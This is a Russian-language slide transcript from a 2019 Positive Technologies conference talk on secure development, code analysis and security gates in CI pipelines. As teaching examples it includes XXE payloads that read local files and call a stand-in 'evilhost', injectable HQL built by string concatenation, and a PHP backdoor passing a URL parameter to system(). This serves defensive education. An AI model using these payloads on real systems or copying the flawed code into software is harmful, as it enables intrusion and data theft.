Анализ кода: как помешать взломать вашу систему

Алексей Жуков
Positive Development User Group (PDUG)
SECR 2019

Пятая часть веб-приложений содержит уязвимости, позволяющие злоумышленнику получить контроль как над самим приложением, так и над ОС сервера. Я расскажу вам о том, как не стать частью этой печальной статистики.

Transcript

1. Анализ кода: как помешать взломать вашу систему Alexey Zhukov (FB: alexey.zhukov.3998) Positive Technologies Software Engineering Conference Russia November 14-15, 2019. Saint-Petersburg
2. Безопасная разработка Зачем она вообще нужна? 2
3. Итоги анализа — 2018: 3 70% 58% 52% 67% 30% 41% 48% 28% 1% 5% 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% 2015 2016 2017 2018 Высокий риск Средний Низкий Насколько все серьезно Отчет "Статистика уязвимостей веб-приложений в 2018 году"
4. Итак, все очень серьезно Откуда берутся уязвимости или «ваше приложение глазами пользователя и злоумышленника» 4
5. XML здорового человека <name>Мария</name> 5 "Спасибо, Мария, заявка принята"
6. Вариант реализации String xml = httpRequest.get("xml"); Document doc = new DocumentBuilder().parse(xml); return doc.byTagName("name")[0].getText (); 6 <name>Мария</name> → "Мария"
7. XML злоумышленника <!DOCTYPE name [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:./app.log"> ]> <name>&xxe;</name> 7 А что вернет наш код для этого XML?
8. Внешние сущности XML 2019-06-13 15:19:21,022 - [INFO] - from play in pool-4-thread-1 Listening for HTTP on /0:0:0:0:0:0:0:0:9000 2019-06-13 15:20:57,665 - [INFO] - from play in play-internal-execution-context-1 database [default] connected at jdbc:sqlite:./resources/db/base.sqlite 2019-06-13 15:20:57,735 - [INFO] - from play in play-internal-execution-context-1 Application started (Dev) 8 А что еще можно сделать?
9. Можно еще так: <!ENTITY xxe SYSTEM "http://10.0.0.1:22"> 9 Короче, вариантов много… Или так: <!ENTITY xxe SYSTEM "file:./data/users.xml"> <!ENTITY evilHost SYSTEM "http://evilhost:80">
10. Что делать (в этом случае) ▪ Проверить используемую библиотеку: ▪ Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use ▪ .NET: XmlDocument, XmlTextReader и XPathNavigator до 4.5.2 ▪ Отключить поддержку внешних сущностей XML и DTD 10 XML external entity prevention — OWASP cheat sheet series
11. Что дальше Итак, уязвимости найдены и продемонстрированы 11
12. Классические стадии ▪ Отрицание («да не может тут быть никаких уязвимостей…») ▪ Гнев («да я в разработке 100500 лет, что вы мне тут рассказываете???!!!») ▪ Торг («ну и что такого, ну да, уязвимости есть, но они же…») ▪ Депрессия («это ж сколько теперь переделывать- то…») ▪ Принятие («да, тут надо что-то срочно менять») 12 OK, давайте что-то делать
13. Проблему надо решать Как будем это делать? 13
14. OWASP Top 10 Пусть разработчики читают OWASP Top 10 14
15. Классификатор типов уязвимостей : 15 По крайней мере, на первых порах Разработчику нужна: ▪ Учит "что будет, если", а не "делай вот так" ▪ Полезен для Security Champion ▪ Информация о конкретных уязвимостях… ▪ … существующих в его приложении… ▪ … с учетом его специфики
16. "Игра по правилам" Давайте придумаем стандарты, правила, регламенты и будем им следовать 16 Да, такое бывает, но…
17. Реальные примеры правил: 17 NASA’s 10 rules for developing safety-critical code Но есть нюансы: ▪ All loops must have a fixed upper-bound ▪ Do not use dynamic memory allocation after initialization ▪ Крайне узкая область применения ▪ Были разработаны для упрощения анализа, а не для сокращения числа уязвимостей
18. Open Source Он безопасен. Точка. 18
19. С точностью до наоборот: 19 2019 Open Source Security and Risk Analysis ▪ ≈300 Open Source компонентов в приложении (плюс фактор транзитивности) ▪ OpenSource есть в 96% приложений ▪ Это 60% от всего кода приложения ▪ Средний возраст уязвимости > 6 лет (и он растет) ▪ Максимальный возраст? (Спойлер: CVE-2000- 0388)
20. Правильные вопросы: 20 ▪ Кто хочет анализировать OpenSource? ▪ Кто из желающих умеет и что ими движет? ▪ Как часто будет проводиться анализ? Никто за нас это не сделает: ▪ Нужен SCA-анализ готового приложения ▪ Ретроспективный анализ существующих версий
21. "Карго-культы" 21 Слепое копирование "лучших практик" и нет представления о сути уязвимости
22. И тогда появляются "шедевры" 22 String name = request.getParameter("name"); Session s = HibernateUtil.getSessionFactory().openSession(); s.beginTransaction(); String q = "from UsersEntity where uname = '" + name + "'"; List res = s.createQuery(q).list(); s.getTransaction().commit(); "ORM защищает от SQLi"
23. Циничный ORM-троллинг 23 Выглядит как ORM-обертка над честным PreparedStatement, не так ли? List<Account> accountList = accountDao.query( accountDao.queryBuilder().where() .eq(Account.PWD_FIELD_NAME, "P@ssw0rd") .prepare());
24. Надо было вот так: 24 Даже визуально корректный код приходится детально анализировать QueryBuilder<Acc, String> queryBuilder = accountDao.queryBuilder(); Where<Acc, String> where = queryBuilder.where(); SelectArg selectArg = new SelectArg(); where.eq(Acc.PWD_FIELD_NAME, selectArg); PreparedQuery<Acc> preparedQuery = queryBuilder.prepare(); selectArg.setValue("P@ssw0rd"); List<Account> accounts = accountDao.query(preparedQuery);
25. Попробуем ручной анализ кода? 25 "Просто опечатка" // Secured access for emergency needs if($_GET['secret'] == 'secretaccesskey') if($_SESSION['login'] == 'admin'); system($_GET['command']);
26. Код может быть и таким: 26 JSFuck.com
27. Плюсы: 27 ▪ Выявление логических… ▪ … и архитектурных недостатков Нужна автоматизация рутинной работы Минусы: ▪ Как оценить эффективность работы? ▪ Множество оговорок о сложности ▪ Поэтому пентесты — не панацея
28. Программа-анализатор: 28 ▪ Определение потенциальных уязвимостей ▪ Условия эксплуатации ▪ Человекочитаемость результата Сила в единении Человек: ▪ Верификация результатов ▪ Классификация потенциальных опасностей ▪ Подтверждение выполнимости условий
29. Что анализируем 29 Только ли исходники?
30. Компоненты приложения: 30 ▪ Исходные тексты (SAST) ▪ Сторонние библиотеки (SCA) ▪ Конфигурационные файлы ▪ Развернутое приложение (DAST и IAST) "Хотелки": ▪ Понятность и проверяемость ▪ Рекомендации по устранению
31. Цель.v.1.0.0.RC1 31 Давайте анализировать код Давайте сделаем приложение безопасным
32. Немного экономики: 32 Нужен уход от разовых оценок в сторону безопасной разработки с периодическим анализом кода
33. Цель.v.1.0.0 33 Периодический анализ защищенности как один из шагов в CI Давайте сразу разрабатывать приложение безопасным
34. Все казалось таким простым 34 В любой интеграции есть свои подводные камни
35. Разработка: 35 ▪ Существующие процессы ▪ Выбор инструмента и подхода Анализ OpenSource: ▪ На каком этапе? ▪ Использование встроенных функций Artifactory Куда встраиваемся в CI? Тестирование: ▪ Автотесты → DAST
36. Welcome to real world 36
37. Надо бы с ним подружиться… 37
38. И тогда все снова упрощается 38
39. Чего-то не хватает Важно не потерять тот самый continuous 39 Отчеты, графики, дашборды — все очень красиво, но кто и когда их читает?
40. Нужен бинарный ответ 40 Security Gate — принятие решения в рамках CI- конвейера о (не)соответствии кода требованиям защищенности
41. Масштабы: 41 ▪ Сотни приложений и команд разработки Что требовалось: ▪ Распределенность и масштабируемость ▪ Security Gate ▪ RBAC к результатам Технические тонкости: ▪ Гетерогенная среда
42. Что у нас получилось 42
43. Тренинги: 43 ▪ Специфика уязвимостей (мобилки, веб, БД etc.) Security Champion: ▪ Евангелизм ▪ Психология ▪ Мотивированность OWASP SAMM, BSIMM etc. CTF среди разработчиков: ▪ Поиск багов в уязвимом приложении (DVWA, WebGoat etc.)
44. Ссылки на материалы (1/2) 1. Отчет "Статистика уязвимостей веб-приложений в 2018 году" (https://www.ptsecurity.com/ru-ru/research/analytics/web- application-vulnerabilities-statistics-2019/) 2. NASA’s 10 rules for developing safety-critical code (https://sdtimes.com/nasas-10-rules-developing-safety-critical- code/) 3. 2019 Open Source Security and Risk Analysis (https://www.synopsys.com/content/dam/synopsys/sig- assets/reports/rep-ossra-19.pdf) 44
45. Ссылки на материалы (2/2) 1. XML external entity prevention — OWASP cheat sheet series (https://cheatsheetseries.owasp.org/cheatsheets/XML_External_E ntity_Prevention_Cheat_Sheet.html) 2. JSFuck - Write any JavaScript with 6 Characters: []()!+ (https://jsfuck.com) 3. Applied Software Measurement (Capers Jones, 1996) 4. Software Engineering Economics (Barry W. Boehm, 1983) 45
46. Обсудим? Q & A 46